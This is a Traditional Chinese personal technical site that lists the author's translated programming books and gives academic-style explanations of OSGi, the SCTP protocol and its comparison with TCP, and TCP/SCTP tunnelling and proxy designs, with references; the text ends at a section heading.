# 首頁

這裡大多是學生時代隨手紀錄的一些技術小品，如果覺得主題太繁雜，試試看用搜尋欄位，輸入關鍵字搜尋看看是否有你有興趣的內容。

> 聯絡請來信，謝謝您的來訪
>
> [Aaron Liao](http://aaron.netdpi.net/)
>
> ACM member / IEEE member
>
> Email：<myliao2007@acm.org>
>
> Facebook: [粉絲專頁](https://www.facebook.com/applezulab)

若內文無另外聲明，則預設授權方式以[創用CC 姓名標示 4.0 國際 授權條款](http://www.google.com/url?q=http%3A%2F%2Fcreativecommons.org%2Flicenses%2Fby%2F4.0%2F\&sa=D\&sntz=1\&usg=AOvVaw2jhFi9jj_kiQ6_veRT7-fj)釋出。


# 中譯資料

* [Beej's guide to network programming 正體中文版](https://beej-zhtw.netdpi.net)
* [Beej's guide to network programming 簡體中文版](https://beej-zhcn.netdpi.net)
* [Linux 核心除錯實務（Linux Kernel Debugging）](https://lkd.netdpi.net/), 2024
* [The Linux programming interface 國際中文版](https://tlpi-zhtw.netdpi.net), 2016
* [產品管理最佳實務 第二版 (Product Management in Practice, 2nd Edition)](https://www.gotop.com.tw/books/BookDetails.aspx?Types=v\&bn=A716), 2023
* [Go 語言程式設計入門](https://go.netdpi.net)
* [Beej's guide to C programming 正體中文版](https://beej-c-zhtw.netdpi.net/)
* [Bash 學習手冊](https://bash.netdpi.net)


# 網路觀念


# OSGi 平台

Aaron Liao\
OSGi \[1]\[2]\[3]\[4] 標準是1999年由Open Service Gateway Initiative協會制定的標準，在OSGi架構圖中，Execution Environment為JVM虛擬平台，OSGi規格是依據Java平台所制定的，而Bundle由一個Java的JAR 檔案所組成，JAR主要是由Java class檔所構成，Bundle與Bundle之間可以透過Import使用其他Bundle的Export資源，而透過Export可釋出資源與其他Bundle分享。因此，只要是基於Bundle所設計的服務就能夠達到服務的資源分享。Security是基於Java2 security所制定，Module在Bundle與Bundle間使用彼此制定的Java Packages規則。而Life cycle定義了Bundle的生命週期，包括已安裝、等待啟動、啟動、執行、停止、取消安裝。Service是定義動態的合作模式，Bundle可以將本身的Service註冊於Service Registry，因此，其他的Bundle就能夠經由Service Registry獲知所需要的服務。<br>

<figure><img src="/files/noanGv2F1iWXXbuwiIts" alt=""><figcaption><p>OSGi 架構圖 </p></figcaption></figure>

\
在Bundle狀態轉換時，INSTALL狀態表示已經成功載入Bundle，RESOLVED狀態表示Bundle所需要的class皆能夠使用，代表已經載入的Bundle準備好能夠進入STARTING狀態或是剛從STOPPING狀態轉換到RESOLVED狀態。在STARTING狀態中，Bundle已經是啟動的，並且會呼叫BundleActivator.start method。在ACTIVE狀態的Bundle處於正在運作中的情況，並且已呼叫過BundleActivator.start method。STOPING狀態表示Bundle正在停止，並且已經呼叫過BundleActivator.stop method。最後UNINSTALLED狀態代表Bundle已經卸載，於是Bundle的狀態也已經無法繼續轉移。<br>

![](/files/HtYYebGA5kZ0zYLuOYTE)

bundle 狀態轉換\
&#x20;\
\
參考文獻\
\[1] D. Valtchev, and I. Frankov, “Service gateway architecture for a smart home”, IEEE Magazine on Communications, Vol. 40, Issue 4, pp. 126-132, Apr. 2002.\
\[2] OSGi Alliance, “OSGi Service Platform Release 3”, IOS Press, 2003.\
\[3] OSGi Service Platform, Core Specification r4, The OSGi Alliance, 2005, <http://www.osgi.org.\\>
\[4] P. Dobrev, D. Famolari, C. Kurzke, and B.A. Miller, “Device and service discovery in home networks with OSGi”, IEEE Magazine on Communication, Vol. 40, Issue 8, pp. 86-92, Aug. 2002.


# SCTP 通訊協定簡介

Aaron Liao (<aaron@netdpi.net>)

SCTP不僅在設計層面能夠改善傳統 TCP 連線安全的弱點，SCTP 之多重串流特性能夠改善 HoL Blocking 問題，並且路徑多宿之特性更是能夠增強資料傳輸之可靠度。

IETF組織於2000年十月制定了SCTP（Stream Control Transmission Protocol）通訊協定，SCTP透過四向交握（four-way handshake）的方式（圖1）建立一個初始連線（association），並經由Cookie機制作為端點之間的認證，如此的設計可避免傳統TCP三向交握（圖2）過程中易遭受服務阻斷攻擊之弱點。在連線中斷方面，TCP採用四向交握方式結束連線（圖2），當TCP連線之一方已經關閉了並且無法繼續傳送新的資料，而另一方仍保持開啟狀態並可以繼續傳送資料，即所謂之半關閉狀態（half-closed state）；而SCTP是以三向交握的方式結束連線（圖1），不提供半關閉狀態，接收端在接收由傳送端送出SHUTDOWN訊息的chunk之後，會回傳一個SHOUTDOWN-ACK封包進行回覆，等待結束連線的傳送端確認完成後便結束連線，同時傳送SHUTDOWN-COMPLETE的訊息至接收端。在一個SCTP封包中能夠包含不同的資料區塊（data chunk）與控制區塊（control chunk），而SCTP通訊協定以heartbeat封包對路徑進行偵測與回復。

<figure><img src="/files/n45rSWMfBBGrqlD48VjT" alt=""><figcaption><p>圖1、SCTP association之建立與終止流程</p></figcaption></figure>

<figure><img src="/files/SDt5pfi45XXZ1BpQK8Lv" alt=""><figcaption><p>圖2、TCP session之建立與終止流程</p></figcaption></figure>


# 1 多重串流 (Multi-streaming)

SCTP 通訊協定之多重串流特性有別於傳統的 TCP 通訊協定單一串流（single-stream），當端點建立連線時，可預先相互協調將要使用的串流數量，並且能夠將不同類型的資料分別以不同的串流傳輸，當其中一個串流正在等待重新傳送的訊息時，其他串流仍然能夠繼續傳送，在每個串流中的 data chunk 都會有各自運作的的串流序號（SSN, stream sequence number），因此在某一個串流的封包重送動作並不會使其他串流因等待重送的封包而造成延遲。如應用於網頁伺服器時，不需為了同時傳輸多個檔案而建立多個連線，網頁與圖片能夠透過不同的串流傳輸，不需等待網頁傳輸完畢，圖片就能透過其他串流同時傳輸。多重串流之功能可以改善原本因單一串流時，必須等待遺失封包之重送而產生的 HoL Blocking 延遲，圖3是一個 SCTP 多重串流的示意圖，SCTP 兩端點透過一條 SCTP 連線（association）進行通訊，在接收與傳送的部份，可使用多個串流進行資料的傳送與接收。

<figure><img src="/files/0P90MjoFUZLn00rqr9CD" alt=""><figcaption><p>圖3、SCTP多重串流示意圖</p></figcaption></figure>

在 Meixner \[8] 與Grinnem \[6] 等學者的研究中，他們已經探討了 SCTP 通訊協定之多重串流功能對於 HoL Blocking 延遲之改善，Meixner 等人以 FreeBSD 作業系統進行實驗分析 TCP 與 SCTP 通訊協定之效能，觀察 SCTP 通訊協定的幾項特性。首先作者比較了串流數目與發生封包遺失時所產生的延遲時間之關係，經過觀察多重串流之實驗結果得知，透過多重串流傳輸與單一串流傳輸資料時，當發生了封包遺失的情況時，使用多重串流傳輸所產生的延遲時間會比僅使用單一串流傳輸要來的少，因此可以瞭解到配置較多的串流數目確實能夠有效改善因 HoL Blocking 所產生的延遲時間。而在 Natarajan \[12] 等學者的研究中，他們將 SCTP 多重串流的功能應用於傳統之檔案傳輸協定（FTP, file transfer protocol）中，經由實驗的結果得知，使用多重串流也能夠提昇傳輸效能。


# 2 路徑多宿 (Multi-homing)

SCTP通訊協定路徑多宿之特性允許端點與端點間的連線可透過多個網路裝置達到路徑備援的能力，當具備多路徑時，SCTP會選擇某一路徑做為資料傳輸的主要路徑（primary path），而其它的路徑則作為備援路徑（backup path），備援路徑的用途是當主要路徑發生故障或斷線時，SCTP會利用heartbeat週期性偵測各線路是否存活，因此當主要路徑發生中斷時，SCTP之端點可自動由多個備援路徑中選取其中一路做為主要路徑之替代，進而達到快速恢復（failover）的能力。

以圖4為例，host A與host B設備均具備了兩張網路介面卡，每張介面卡都能夠經由網路服務供應商（ISP）之路由器或閘道器(gateway)連結至網際網路，因此host A或host B都能夠透過各自擁有的任何一張網路介面卡傳送資料。該圖例呈現host A使用A1網路介面作為主要路徑與host B進行網路語音電話之通話，而對於host A而言，A2網路介面僅是備援路徑。當主要路徑（primary path）發生問題時，SCTP則會自動從主要路徑切換至備援路徑（backup path），避免host A與host B的通話因單一線路之故障而被迫通話中斷，增加了連線通訊的可靠度。

<figure><img src="/files/aCY7xzvtimxYqssLHm4y" alt=""><figcaption><p>圖4、SCTP路徑多宿示意圖</p></figcaption></figure>


# 3 SACK 機制

SCTP通訊協定預設採用選擇回覆（SACK, selective acknowledgement）之回報機制，SACK之功能主要協助接收端以確認封包資料之接收或通知傳送端之封包資料傳輸產生的區段（gaps）, 接收端將尚未接收到的TSN值記錄於SACK chunk並回送至傳送端，以通知傳送端進行新資料之傳輸或已傳送資料之重傳的動作，圖5為SCTP通訊協定之SACK chunk。

<figure><img src="/files/3vCx4orMczWZYD4Rl42n" alt=""><figcaption><p>圖5、SCTP SACK Chunk格式</p></figcaption></figure>

下列是SACK chunk中各參數的定義：

(a) Chunk Flags: 8 bits

當傳送時，全部的bits都設定為零，接收時，忽略這個欄位。

(b) Cumulative TSN ACK: 32 bits (unsigned integer)

此參數是最後一個收到的依序data chunk的TSN值。

(c) Advertised receiver window credit: 32 bits (unsigned integer)

告知傳送端更新接收端的緩衝區空間（單位：bytes）。

(d) Number of Gap ACK block: 16 bits (unsigned integer)

說明此SACK中有幾個Gap ACK blocks。

(e) Number of Duplicate TSNs: 16 bits

收到的重複TSN數目。

(f) Gap ACK block start: 16 bits (unsigned integer)

說明此Gap ACK block開始的TSN offset。

(g) Gap ACK block end: 16 bits (unsigned integer)

說明此Gap ACK block結束的TSN offset。

<figure><img src="/files/r60qIFokjVlcldpv15Cc" alt=""><figcaption><p>圖6、SACK範例</p></figcaption></figure>

圖6是一個SCTP通訊協定的SACK chunk範例，根據SACK chunk的欄位格式，可以得知最後所收到的data chunk TSN序號值為29，而number of block=2是代表區塊（block）之數目為2，如圖中之著色區塊數目。在區塊一的offset範圍是3 \~ 4，如圖中之著色區塊TSN = 32 \~ 33，TSN start offset為3 （29 + 3 = 32）即代表 TSN = 32 為該區塊的起始位置，而TSN end offset是4（29 + 4 = 33）即代表 TSN = 33 為該區塊之結束位置。同理，位於SACK chunk第五列之區塊二，TSN start offset與TSN end offset均相同為6，代表該區塊之範圍起始與結束位置均於TSN=35（29 + 6 = 35）。透過這樣的方式，傳送端可以從SACK回覆訊息中計算出需要重送的data chunk之TSN序號值。


# 4 Path MTU Discovery

PMTU探索（Path MTU discovery）\[9, 10] 能夠讓傳輸層得知路徑之MTU限制，因而可以確保傳輸層之segment 在經過IP層時不需要分割。在IPv4網路環境中，endpoint將IP表頭之Don’t fragment 欄位標示，當路由器接收到IP表頭標示 Don’t fragment時，將不能夠對該封包進行分割，因此，當該封包的長度超過路由器下一步 (next hop) 路徑之MTU時，路由器將會回傳ICMP訊息告知該封包的傳送端，多數的路由器會在ICMP訊息中存放可傳送的IP資料長度告知傳送端，當傳送端接收到路由器的ICMP訊息時，就會再次發送一個適當長度的封包，endpoint透過週期性的不斷探測，直到封包到達接收端為止，透過這樣的方式達成path MTU的探索。而在IPv6網路環境中，由於IPv6表頭並沒有don’t fragment欄位，路由器並不負責IP層的分割工作，而是由endpoint處理。

SCTP通訊協定在使用PMTU探索與TCP通訊協定之不同點在於，SCTP具備路徑多宿的特性，因此SCTP透過PMTU之探索，在每個路徑都會得到一個PMTU，SCTP 的方式是採用所有路徑之PMTU中最小的PMTU，稱之為sPMTU。以圖7所示，Endpoint Joe進行PMTU探索後將會發現路徑 Joe-A-C-Mary 之 PMTU 值為 512 bytes，而Joe-B-D-Mary之PMTU值為1024 bytes，因此，SCTP 通訊協定會選擇最小的512 bytes作為 sPMTU 之值。當應用層要傳送4096 bytes的資料時，則會先由SCTP進行分割的動作，將資料分割為512 bytes，若是SCTP傳輸之主要路徑已經分換為Joe-B-D-Mary時，由於該路徑之PMTU為1500 bytes，因此SCTP會將已經分割過的data chunk再集合為適當大小之長度，以達到最佳效能。

<figure><img src="/files/hrIqMuPa8WzGnlof5L1Q" alt=""><figcaption><p>圖7、The Path MTU discovery</p></figcaption></figure>

他們的實驗比較IP分割與SCTP協定分割在封包遺失率的環境中之傳輸率（throughput）；結果以SCTP協定分割傳輸的傳輸率皆比IP分割高，原因在於當傳輸層的segment在IP層被分割成數個小碎片（fragmentations）之後，只要其中的任何一個小碎片遺失，都會導致傳輸層的整個segment需要重新傳送。


# 5 Ordered/Unordered 傳送機制

SCTP通訊協定支援ordered與unordered傳輸機制，除了在同一個串流（stream）中有限制必須要嚴格遵守ordered傳遞的規則外，SCTP能夠透過將data chunk中的U旗標設定為1以Unordered模式傳輸資料。因此，當SCTP端點接收到U旗標為1的data chunk時，會跳過（bypass）依序機制 （Ordering mechanism），同時也立刻將資料傳送至上層，除非是分割過的片段（fragment）資料才需要先將資料重組完成後傳送至上層。當data chunk中的U旗標設定為1時，也就使用Unordered機制傳送資料時，傳送端並不會增加串流序號（SSN, stream sequence number）的計算，因此傳送時，在data chunk的串流欄位中並不會被指定串流序號，而接收端在收到U旗標設定為1之data chunk時，則不需要使用該data chunk的串流序號，而且需要將串流序號欄位的內容忽略。

在Grinnem \[8] 等人的研究中，他們比較SCTP通訊協定分別以非依序（unordered）傳輸與依序（ordered）傳輸模式傳輸時，觀察平均傳輸延遲的變化，根據他們實驗所得結果，非依序傳輸會比依序傳輸減少0 % 到18 % 的平均傳輸延遲時間，因此，可以表示SCTP通訊協定之非依序傳輸功能的確有助於降低HoL Blocking產生的延遲。


# 6. SCTP API

目前於Linux平台SCTP API \[14] 之實作有LKSCTP （Linux kernel SCTP）\[16] 與SCTPLIB \[17]，如圖8的LKSCTP的堆疊架構所示，LKSCTP將SCTP協定實作於作業系統之kernel space，應用層之網路程式使用socket API或ULP（upper layer protocol）以使用SCTP協定進行傳輸，lksctp運作於Linux作業系統之kernel space。

<figure><img src="/files/WY9Y7qsJcrPJBLeWrbgc" alt=""><figcaption><p>圖8、LKSCTP之堆疊架構圖</p></figcaption></figure>

SCTPLIB（圖9）在作業系統中是屬於user space的設計，利用raw socket的方式於user space運作SCTP協定，以服務應用層網路程式。SCTPLIB為了能夠達到於系統內部服務多個應用層網路程式，透過UDP協定 \[20] 與SCTP daemon協同運作，SCTP daemon是負責同步排程工作以及與底層溝通的任務。以作業系統層面比較LKSCTP與SCTPLIB之SCTP API實作，由於SCTPLIB位於user space，因此在kernel space與user space間需要額外付出資料複製的成本，因此預期LKSCTP效能會較SCTPLIB佳。

<figure><img src="/files/8r9AgzngYoA8IziGzjPG" alt=""><figcaption><p>圖9、SCTPLIB之堆疊架構圖</p></figcaption></figure>

在Siddiqui等人的研究中 \[13]，他們進行兩個實驗比較SCTP協定實作在kernel space與user space之效能，在第一個實驗中，他們比較了SCTP協定切換路徑所需耗費的時間延遲，經由實驗結果得到，LKSCTP所耗費之時間延遲遠小於SCTPLIB，作者認為這是因為SCTPLIB需要時間與SCTP Daemon協調，因此在傳送與處理ASCONF \[15] 訊息時會增加額外的負擔；在第二個實驗中，他們分別於LKSCTP與SCTPLIB之SCTP API環境中，以檔案傳輸程式（FTP）傳輸不同資料尺寸之檔案，經由結果得知LKSCTP之運作效能均較SCTPLIB優異。

Nurul Islam \[7] 等人使用SCTPLIB之SCTP API，實驗主要的目的在分析傳輸不同的data chunk大小對傳輸效能所造成的影響，因此他們設計了兩個實驗場景，分別是設定無封包遺失與5 % 封包遺失的實驗場景，實驗一是在無封包遺失的場景中進行，先後傳輸288 bytes與488 bytes的資料，兩次傳輸由於是各自獨立進行，因此不會互相競爭，透過實驗結果分析可以得到傳輸488 bytes的平均傳輸率比288 bytes高，也就是傳輸較大的data chunk可以獲得較高的傳輸效能。實驗二是在 5% 封包遺失率的場景進行，同樣是分別傳輸288 bytes與488 bytes的資料，結果與之前的實驗相似，傳輸較大的data chunk平均能夠獲得較高的傳輸率。他們認為這樣的結果是因為在SCTP中使用Appropriate Byte Counting \[4]、Limited Transmit \[2] 與SACK等機制。由於SCTP是計算已接收的SACK回應bytes數來增加壅塞視窗的大小，因此，即使SCTP使用SACK延遲也不會減緩壅塞視窗的成長。


# 7. TCP 與 SCTP 通訊協定比較

TCP通訊協定於初始連線時，透過三向交握的方式進行初始連線的建立，然而，三向交握因具有DoS攻擊之弱點，於是在SCTP通訊協定的設計，初始連線則是採用四向交握的策略，SCTP通訊協定先天上的設計可避免DoS攻擊的發生。在終止連線的處理上，TCP通訊協定是以四向交握的方式結束連線，一方之端點可先關閉連線，另一方則可繼續接收資料，這樣的情況又稱為半開放狀態（half-open state）；SCTP通訊協定則是使用三向交握的方式終止連線。在資料傳遞的方面，TCP通訊協定因必須嚴格依序傳輸而會有HOL blocking之問題存在，而SCTP通訊協定僅在同一串流中為絕對依序傳輸，當有封包遺失的情況發生時，順序在該遺失封包之後的資料可以透過其他的串流進行傳輸，而能夠避免HoL Blocking之發生。

在Chang 等人 \[5] 之研究中，於Linux作業系統中將開放原始碼之FTP客戶端與伺服端應用程式由TCP通訊協定移植至SCTP通訊協定，並於Linux作業系統中以LKSCTP將FTP應用程式以透過TCP與SCTP通訊協定進行資料傳輸與比較傳輸效能。實驗之目的在於比較於不同的網路壅塞情況中，SCTP通訊協定、未採用SACK \[11] 機制之TCP通訊協定（TCP without SACK）與啟動SACK機制之TCP通訊協定（TCP with SACK）分別進行資料傳輸，藉此觀察與分析封包遺失率對於平均傳輸率的影響。

由於TCP通訊協定之設計是基於單一串流傳輸，而且沒有路徑多宿的設計，因此作者實驗時將SCTP通訊協定設定限制為僅使用單一串流，並且關閉SCTP通訊協定路徑多宿之功能，限制SCTP通訊協定以單一串流及依序傳遞與TCP通訊協定進行比較。實驗測量分析的方法是使用FTP客戶端下載FTP伺服端的檔案，並以Wireshark \[18] 網路協定分析程式觀察封包了解實際資料傳輸情形，並且於Linux router中隨機丟棄封包，造成封包遺失的效果。他們所測量的傳輸效能沒有包含控制連線之指令傳輸時間，而是僅有初始化資料連線至資料連線結束的這段時間。實驗的每條連線都是獨立且不會互相競爭，因此所呈現的平均傳輸率則是表達在該封包遺失率的網路環境中，該傳輸協定的效能表現。

首先作者於 0 % \~ 10 % 封包遺失率中傳輸1 KB檔案，實驗結果顯示當傳輸1 KB的小檔案時，TCP通訊協定的傳輸效率會比SCTP通訊協定要高，主要是因為SCTP通訊協定連線的建立需要四向交握，與TCP通訊協定的三向交握相較之下，SCTP通訊協定增加了COOKIE認證機制，而於MTU為1500 bytes之路徑中，傳輸1 KB的資料僅需一個封包的傳送即能夠將資料傳輸完成，因此四向交握所增加的負載（overhead）使得SCTP通訊協定在傳輸1 KB小資料時平均傳輸率會比TCP通訊協定低。

而在0 % \~ 10 % 封包遺失率環境傳輸512 KB的資料，由於總資料量足以使SCTP四向交握之負載僅佔據微量比例並不足影響整體效能時， 依據作者的實驗結果，在沒有封包遺失的情況下，SCTP通訊協定與TCP通訊協定的傳輸效能是並駕齊驅的，然而隨著封包遺失率的增加，傳輸效能比為SCTP > TCP with SACK > TCP without SACK，以SCTP的表現為最佳，因為單個SACK封包就能夠攜帶多筆回報訊息，可減少ACK封包的數目，所以TCP with SACK與SCTP通訊協定在傳輸效能比TCP without SACK協定為佳。

然而，比較SCTP與TCP with SACK，作者觀察於8 % 封包遺失率時傳輸512 KB資料量的結果，SCTP通訊協定之平均傳輸率為3566 KB/sec，而TCP with SACK僅有696 KB/sec，傳輸率的效能比甚至高達五倍之多。於是作者追蹤Linux kernel 2.6.17原始碼 \[19] ，以了解Linux系統SCTP通訊協定實作之細節，經由程式碼發現在Linux kernel中，SCTP通訊協定之初始壅塞視窗是依循RFC 3390 \[3] 提出的方式實作，將壅塞視窗（cwnd）之初始值設定為min (4\*PMTU, max(2\*PMTU, 4380 bytes))並將ssthresh設定為65535 bytes，而TCP通訊協定之壅塞視窗初始值僅使用兩個MSS（max segment size）的大小 \[1] 與100 bytes之ssthresh初值（標準TCP通訊協定ssthresh則沒有限制），因此使得SCTP通訊協定在起初就能夠擁有較大的壅塞視窗，可以比TCP通訊協定傳輸較多的資料。

而在快速重送（fast retransmission）機制上，重複的ACK或SACK會觸發快速重送的發生並導致壅塞視窗的減半，觸發TCP通訊協定快速重送的條件是收到三個重複的ACK訊息，而觸發SCTP通訊協定之快速重送機制則需要四次重複之SACK訊息，這使得TCP通訊協定在封包遺失率高的環境中，壅塞視窗降低的機率會比SCTP通訊協定還大，也是導致TCP平均傳輸率降低的其中原因。TCP通訊協定之SACK封包僅能攜帶三個區塊（blocks）回報資訊，而SCTP通訊協定並沒有特別限制，因此SCTP通訊協定所能攜帶之訊息僅受限於SACK封包格式制定的欄位數。

SCTP通訊協定之四向交握初始連線過程可防禦傳統TCP通訊協定初始連線時的弱點，並有以上的學者研究分析證實了SCTP通訊協定之多重串流與路徑多宿的功能是可以改善傳輸效能與降低傳輸延遲的。即使限制SCTP通訊協定僅使用單一串流傳輸，在傳輸效能方面也能夠與TCP並駕齊驅，甚至於網路壅塞環境中SCTP之效能表現更為優良，因此，SCTP通訊協定也適合應用於目前普遍使用的TCP網路環境。


# 8. 參考文獻

\[1] M. Allman, V. Paxson, and W. Stevens, “TCP Congestion Control”, RFC 2581, IETF, April 1999.

\[2] M. Allman, H. Balakrishnan, and S. Floyd, “Enhancing TCP’s Loss Recovery Using Limited Transmit”, RFC 3042, IETF, January 2001.

\[3] M. Allman, S. Floyd, and C. Partridge, “Increasing TCP’s Initial Window Size”, RFC 3390, October 2002.

\[4] M. Allman, “TCP Congestion Control with Appropriate Byte Counting”, RFC 3465, IETF, February 2003.

\[5] L.H. Chang, M.Y. Liao, and C.H. Song, “Implementation and evaluation of single-stream SCTP and TCP for FTP“, Journal of Communications of IICM Taiwan, Vol. 10, Issue 1, pp. 163-178, March 2007.

\[6] K.J. Grinnem, T. Andersson and A. Brunstrom “Performance Benefits of Avoiding Head-of-Line Blocking in SCTP”, Proceedings of the IEEE ICAS/ICNS, pp. 44-51, October 2005.

\[7] M. Nurul Islam, and A. Kara, “Throughput Analysis of SCTP over a Multi-homed Association”, Proceedings of the IEEE CIT, pp. 110-116, September 2006.

\[8] A. Meixner, P. Yin, D. Onyango, and A. Vahdat, “Design and Evaluation of a Kernel-Level SCTP Implementation”, <http://www.cs.duke.edu/\\~py/paper/miscPaper/sys-sctp.tech.2001.pdf>.

\[9] J. Mogul, and S. Deering, “Path MTU Discovery”, RFC 1063, IETF, November 1990.

\[10] J. Mogul, S. Deering, and J. Mogul, “Path MTU Discovery for IP version 6”, RFC 1981, IETF, August 1996.

\[11] M. Mathis, J. Mahdavi, S. Floyd, and A. Romanow, “TCP Selective Acknowledgement Options”, RFC 2018, IETF, October 1996.

\[12] P. Natarajan, P.D. Amer, R. W. Bickhart, and S. Ladha, “Improving Multiple File Transfer using SCTP Multi-streaming”, Proceedings of the IEEE International Performance Computing and Communications Conference, 2004.

\[13] F. Siddiqui and S. Zeadally, “SCTP Multihoming Support for Handoffs across Heterogeneous Networks”, Proceedings of the IEEE CNSR 2006, pp. 243-250, May 2006.

\[14] R. Steward, Q. Xie, L. Yarroll, K. Poon, M. Tuexen, “Sockets API Extensions for Stream Control Transmission Protocol (SCTP)”, draft-ietf-tsvwg-sctpsocket-15, IETF, July 9, 2007.

\[15] R. Steward, Q. Xie, M. Tuexen, S. Maruyama, and M. Kozuka, “Stream Control Transmission Protocol (SCTP) Dynamic Address Reconfiguration”, draft-ietf-tsvwg-addip-sctp-22, IETF, June 19, 2007.

\[16] Linux Kernel Stream Control Transmission Protocol Project, <http://lksctp.sourceforge.net>.

\[17] SCTPLIB, Simens and Computer Networking Technology Group of the University of Essen, <http://www.sctp.de/sctp-download.html>.

\[18] The Wireshark Network Protocol Analyzer, <http://www.wireshark.org>.

\[19] The Linux kernel Archives, <http://www.kernel.org>.

\[20] J. Postel, “User Datagram Protocol”, RFC 768, IETF, August 1980.


# TCP over SCTP tunnel

Aaron Liao

為了使SCTP通訊協定能用應用於目前之網路，SCTP tunnel proxy之設計將SCTP tunnel proxy設置於兩端TCP網路環境間，並以SCTP通訊協定傳輸資料，可將SCTP通訊協定之優點應用於現有之TCP網路環境中。

<figure><img src="/files/w1zfHn90zj9iUdzSc1i9" alt=""><figcaption><p>圖1、SCTP tunnel傳輸資料示意圖</p></figcaption></figure>

如圖1，Joe傳送之TCP封包在經過SCTP tunnel proxy時，會被封裝於SCTP chunk內傳送，直到抵達另一端SCTP tunnel proxy再封裝為TCP格式傳送給Mary。因此，兩端TCP node使用者則透過SCTP tunnel proxy之間的SCTP連線，不需更改網路設定就能夠以SCTP tunnel 傳輸，當兩端之網路環境間具備兩路以上（含）之傳輸路徑時，SCTP 路徑多宿之功能可在主要通訊線路發生中斷時，能夠以備援路徑進行資料傳輸，利用SCTP路徑多宿的功能可避免單一線路的故障而導致通訊中斷的發生。

然而，透過SCTP tunnel方式傳送封包會增加額外的header redundancy，於圖2中，當SCTP tunnel proxy轉送TCP node之封包時，轉送的資料內容包含IP header、TCP header與payload，而IP header與TCP header的基本長度總共有40 bytes。因此，為了能夠降低header redundancy，本研究於轉送封包之前，會先將封包進行拆解並擷取IP header與TCP header之重要資訊（圖10），再將這些重要資訊與payload透過SCTP chunk傳送，待送達目的端SCTP tunnel proxy時，會依據這些重要資訊將封包重新封裝還原，並透過raw socket將還原的TCP封包送至目的端TCP node。

<figure><img src="/files/mCvM5c8S38Ie9iu8VPyy" alt=""><figcaption><p>圖2、Redundancy of tunnel</p></figcaption></figure>

在圖3中，IP header與TCP header之Source IP、Source Port、Destination IP與Destination port於同一TCP連線過程中斷前為固定之資訊，因此SCTP tunnel proxy可於建立tunnel連線時先彼此交換資訊並記錄該連線的上述資訊。著色欄位為每次傳輸時經常使用與更動可能性的欄位，因此會將這些資訊與payload封裝於SCTP data chunk中傳輸。透過這樣的方式，在IP header的部份能夠降低75 % redundancy，TCP header的部份則能夠降低30 % redundancy，整體SCTP tunnel payload的header redundancy則平均能夠降低50 % 以上的header redundancy。

<figure><img src="/files/syXkRCVhvEI0BKB6XOWj" alt=""><figcaption><p>圖3、Header資訊</p></figcaption></figure>

在SCTP tunnel的建立流程方面，如圖4所示，TCP node（A）先送出一個設定SYN 旗標的TCP封包至TCP node（B），以開始進行建立連線的三向交握流程。而當SCTP tunnel proxy（C）偵測到TCP的SYN封包時，首先會先檢查是否已經存在tunnel可傳輸該封包至目的端點，若已經有建立完成之tunnel，則直接轉送該封包；若是沒有可使用之tunnel，則SCTP tunnel proxy將初始一個新的SCTP連線作為tunnel使用，並且記錄IP位址與連接埠號之對映（mapping）。而當SCTP tunnel proxy偵測到兩端TCP節點送出的FIN訊息時，則會終止tunnel。

<figure><img src="/files/1H9HydF3HDpeDvx1ImzL" alt=""><figcaption><p>圖4、SCTP tunnel之建立與結束</p></figcaption></figure>

在TCP端初次連線時，需要等待TCP三向交握與SCTP四向交握之步驟，為了降低使用者等待時間，如圖5所示，本研究以預先建立tunnel pool的方式改善，類似作業系統中Pre-fork的概念 \[1]。在SCTP tunnel proxy之間預先建立tunnel連線，當TCP node要建立連線時，SCTP tunnel proxy則由預先建立的tunnel pool中選取未使用的tunnel給予該節點使用，如此只有當可配置的tunnel都正在使用時，才需即時建立SCTP tunnel連線。

<figure><img src="/files/4sTWbnA0CgSbuqc7Hh13" alt=""><figcaption><p>圖5、預先建立SCTP tunnel</p></figcaption></figure>

SCTP tunnel proxy透過tunnel代理可使兩端TCP網路端在proxy之間以SCTP協定傳輸，而且使用SCTP tunnel proxy與現有TCP網路通訊並沒有衝突，在SCTP tunnel proxy可指定需要代理的TCP目的端，而對於無須代理的TCP目的端，SCTP tunnel proxy僅會bypass並單純路由繞送該流量封包，不作tunnel代理的處理。

**參考文獻**

\[1] W. Richard Stevens, Bill Fenner, and Andrew M. Rudoff, UNIX Network Programming The sockets networking API, Vol. 1, Adisson Wesley, Inc. ,third edition, 2004.


# TCP 與 SCTP 協定轉換機制

Aaron Liao

由於SCTP通訊協定是新興傳輸協定，目前多數之網路設備與網路程式設計皆以TCP通訊協定傳輸可靠資料，因此，在SCTP通訊協定尚未普及之前，TCP與SCTP通訊協定會有一段期間是長期共存的，為了讓使用TCP通訊協定之系統能夠與SCTP通訊協定之系統相互通訊，因此，陸續有學者提出代理之方法，同時，為了將SCTP通訊協定之優點直接應用於現有之TCP網路環境中，以下將分別進行探討相關方法。

1\. SCTPGATE

Huang \[1] 提出SCTPGATE之SCTP Proxy方法，SCTPGATE可達到代理TCP與SCTP通訊協定資料交換之目的，作者將SCTP通訊協定加入SOCKS v4 \[2] 應用程式中，使SOCKS應用程式可同時支援TCP與SCTP通訊協定，因此能夠處理TCP與SCTP通訊協定間的傳輸資料，可負責代理轉送的工作。SOCKS協定於OSI 模型中位於傳輸層與應用層間，不僅能作為proxy伺服器，亦能夠設定條件作為防火牆過濾之功能。作者所提出之SCTPGATE運作模式如圖1所示，SCTP client之網路應用程式所傳輸的資料在經過SCTPGATE時，SOCKS會接收SCTP client傳送的資料，並以TCP協定進行代理轉送資料予remote TCP server，以此代理方式達成TCP與SCTP通訊協定之互通。

<figure><img src="/files/Y4tKmJLEljfcj7TaWHmM" alt=""><figcaption><p>圖1、SCTPGATE網路堆疊圖</p></figcaption></figure>

<figure><img src="/files/3ZSorKiEGfHSgcADRg5n" alt=""><figcaption><p>圖2、SCTPGATE系統流程圖</p></figcaption></figure>

SCTPGATE整體的運作方法如圖2所示，客戶端（client）在與遠端主機連線之前，需先行發送連線請求給SCTPGATE，在請求中會告知SCTPGATE遠端主機之IP位址與連接埠號（port number），而SCTPGATE在接收到此請求之後，會根據請求中所指定的IP與連接埠進行連線的建立，當完成連線建立時，SCTPGATE再回報客戶端端通知連線已經建立成功，而SCTPGATE則開始負責兩端點資料的轉送工作。SCTPGATE之方法為接收以TCP（SCTP）通訊協定傳輸之資料，再將資料轉以SCTP（TCP）通訊協定傳送，轉換方式運作為於傳輸層之上將資料接收並重新封裝後進行傳輸，而非將傳輸層之TCP通訊協定與SCTP通訊協定互相轉換。

2\. TCP/SCTP translator

